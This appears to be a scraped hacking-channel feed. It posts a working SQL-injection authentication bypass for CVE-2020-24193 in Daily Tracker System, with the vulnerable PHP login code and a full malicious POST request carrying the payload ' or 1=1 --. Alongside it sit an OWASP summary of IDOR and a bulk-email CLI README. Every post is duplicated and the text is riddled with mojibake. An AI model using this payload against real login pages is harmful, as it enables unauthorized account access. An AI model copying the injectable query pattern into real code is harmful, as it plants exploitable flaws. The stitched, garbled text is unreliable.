$msg="Invalid Details.";
}
}
?>
# Malicious POST Request to https://TARGET/dets/index.php HTTP/1.1
POST /dets/index.php HTTP/1.1
Host: TARGET
User-Agent: Mozilla/5.0 (X11; Linux x86_64; rv:68.0) Gecko/20100101 Firefox/68.0
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,/;q=0.8
Accept-Language: en-US,en;q=0.5
Accept-Encoding: gzip, deflate
Referer: http://172.16.65.130/dets/index.php
Content-Type: application/x-www-form-urlencoded
Content-Length: 48
DNT: 1
Connection: close
Cookie: PHPSESSID=j3j54s5keclr8ol2ou4f9b518s
Upgrade-Insecure-Requests: 1
email='+or+1%3d1+--+hyd3sec&password=badPass&login=login
@undercodeTesting
@UndercodeHacking
@UndercodeSecurity
β β β Uππ»βΊπ«Δπ¬πβ β β β
π¦lastest 2020 Daily Tracker System 1.0 -
Authentication Bypass
#Exploit
CVE ID: CVE-2020-24193
Date: September 2, 2020
# Vulnerable Source Code
if(isset($_POST['login']))
{
$email=$_POST['email'];
$password=md5($_POST['password']);
$query=mysqli_query($con,"select ID from tbluser where Email='$email' && Password='$password ' ");
$ret=mysqli_fetch_array($query);
if($ret>0){
$_SESSION['detsuid']=$ret['ID'];
header('location:dashboard.php');
}
else{
$msg="Invalid Details.";
}
}
?>
# Malicious POST Request to https://TARGET/dets/index.php HTTP/1.1
POST /dets/index.php HTTP/1.1
Host: TARGET
User-Agent: Mozilla/5.0 (X11; Linux x86_64; rv:68.0) Gecko/20100101 Firefox/68.0
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,/;q=0.8
Accept-Language: en-US,en;q=0.5
Accept-Encoding: gzip, deflate
Referer: http://172.16.65.130/dets/index.php
Content-Type: application/x-www-form-urlencoded
Content-Length: 48
DNT: 1
Connection: close
Cookie: PHPSESSID=j3j54s5keclr8ol2ou4f9b518s
Upgrade-Insecure-Requests: 1
email='+or+1%3d1+--+hyd3sec&password=badPass&login=login
@undercodeTesting
@UndercodeHacking
@UndercodeSecurity
β β β Uππ»βΊπ«Δπ¬πβ β β β
Beginner Guide to Insecure Direct Object References (IDOR).pdf
895.9 KB
OWASP definition: Insecure Direct Object References allow attackers to bypass authorization and access resources directly by modifying the value of a parameter used to directly point to an object. Such resources can be database entries belonging to other users, files in the system, and more. This is caused by the fact that the application takes user-supplied input and uses it to retrieve an object without performing sufficient authorization checks.
The Application uses untested data in a SQL call that is accessing account information.
Let consider a scenario where a web application allows the login user to change his secret value.
Here you can see the secret value must be referring to some user account of the database.
The Application uses untested data in a SQL call that is accessing account information.
Let consider a scenario where a web application allows the login user to change his secret value.
Here you can see the secret value must be referring to some user account of the database.
β β β Uππ»βΊπ«Δπ¬πβ β β β
π¦2020 bulk mail:
F E A T U R E S :
Active on Slack. Join the bulk-mail-cli Slack group for suggestions, bugs reports, support, and core development.
Shoot mails using CSV.
Mail dynamic HTML Templates using the {{fname|lname}} syntax.
Set the sending interval time in Cron Expressions! Eg. */10 * * * * *
Unlimited attachments! Attach any files on your local computer or you may just provide a direct URL in configuration and bulk-mail-cli will download and send the attachment under dynamic filenames and pathnames.
Runs on cloud! Can be run on AWS EC2 servers and on any Node.js droplet on DigitalOcean.
It saves your campaign progress! You can pause and resume the Mail Campaign from where you left the last time.
Use .env variables to not hardcode the emails and passwords in configuration files.
Contentful demo files provided! You get many beautiful email templates to pick from!
WordPress and other CMS' friendly. Just export the list of your users, change the email containing column name to email and you are good to go!
πΈπ½π π π°π»π»πΈπ π°π πΈπΎπ½ & π π π½ :
1) git clone https://github.com/adventmail/bulk-mail-cli.git
2) bulk-mail-cli
3) Install bulk-mail-cli
Assuming that you have node and npm installed... Run the following in your terminal.
> npm i -g bulk-mail-cli
4) Just run bulkmail support in your terminal to see what commands and flags you can use to do awesome things.
5) To generate demo files, use the following command.
> bulkmail demo
6) Send the Mail
EMAIL="chandlerbing@friends.com" PASSWORD="secret" bulkmail -f bulkmail.json # reference the configuration file here (https://github.com/adventmail/bulk-mail-cli)
7) That will start the mailing process! After every mail it sends, it updates the configuration file with the emails that you sent the message to. So that when you run the same campaign next time, it will resume from where you paused. To start over, you can append the --restart flag to the command.
8) Dynamic data
You may add any other column featuring custom data in the CSV. Namely fname, lname, address, etc... to use in the Subject and Body of your campaign mail. You can use the CSV fields everywhere in the configuration files.
9) Syntax
The syntax can be used in the email section of the CSV and can also be used everywhere in the configuration file and HTML templates. The syntax will be processed by bulk-mail-cli to generate correct mail output.
{{Hi|Hello|Howdy}} π
My name is {{fname}} {{lname}}.
How'yooou dooooing? π
more info on https://github.com/adventmail/bulk-mail-cli
@undercodeTesting
@UndercodeHacking
@UndercodeSecurity
β β β Uππ»βΊπ«Δπ¬πβ β β β
π¦2020 bulk mail:
F E A T U R E S :
Active on Slack. Join the bulk-mail-cli Slack group for suggestions, bugs reports, support, and core development.
Shoot mails using CSV.
Mail dynamic HTML Templates using the {{fname|lname}} syntax.
Set the sending interval time in Cron Expressions! Eg. */10 * * * * *
Unlimited attachments! Attach any files on your local computer or you may just provide a direct URL in configuration and bulk-mail-cli will download and send the attachment under dynamic filenames and pathnames.
Runs on cloud! Can be run on AWS EC2 servers and on any Node.js droplet on DigitalOcean.
It saves your campaign progress! You can pause and resume the Mail Campaign from where you left the last time.
Use .env variables to not hardcode the emails and passwords in configuration files.
Contentful demo files provided! You get many beautiful email templates to pick from!
WordPress and other CMS' friendly. Just export the list of your users, change the email containing column name to email and you are good to go!
πΈπ½π π π°π»π»πΈπ π°π πΈπΎπ½ & π π π½ :
1) git clone https://github.com/adventmail/bulk-mail-cli.git
2) bulk-mail-cli
3) Install bulk-mail-cli
Assuming that you have node and npm installed... Run the following in your terminal.
> npm i -g bulk-mail-cli
4) Just run bulkmail support in your terminal to see what commands and flags you can use to do awesome things.
5) To generate demo files, use the following command.
> bulkmail demo
6) Send the Mail
EMAIL="chandlerbing@friends.com" PASSWORD="secret" bulkmail -f bulkmail.json # reference the configuration file here (https://github.com/adventmail/bulk-mail-cli)
7) That will start the mailing process! After every mail it sends, it updates the configuration file with the emails that you sent the message to. So that when you run the same campaign next time, it will resume from where you paused. To start over, you can append the --restart flag to the command.
8) Dynamic data
You may add any other column featuring custom data in the CSV. Namely fname, lname, address, etc... to use in the Subject and Body of your campaign mail. You can use the CSV fields everywhere in the configuration files.
9) Syntax
The syntax can be used in the email section of the CSV and can also be used everywhere in the configuration file and HTML templates. The syntax will be processed by bulk-mail-cli to generate correct mail output.
{{Hi|Hello|Howdy}} π
My name is {{fname}} {{lname}}.
How'yooou dooooing? π
more info on https://github.com/adventmail/bulk-mail-cli
@undercodeTesting
@UndercodeHacking
@UndercodeSecurity
β β β Uππ»βΊπ«Δπ¬πβ β β β
GitHub
adventmail/bulk-mail-cli
Do quick, hassle-free email marketing with this small but very powerful tool! π₯ - adventmail/bulk-mail-cli